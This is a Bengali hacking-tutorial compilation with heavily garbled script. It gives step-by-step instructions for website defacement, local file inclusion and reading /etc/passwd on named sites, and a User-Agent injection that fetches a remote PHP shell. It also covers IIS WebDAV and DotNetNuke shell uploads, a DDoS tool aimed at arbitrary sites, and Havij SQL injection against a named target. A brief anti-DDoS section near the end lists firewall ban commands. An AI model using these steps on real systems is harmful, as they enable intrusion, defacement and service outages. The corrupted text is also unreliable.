পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
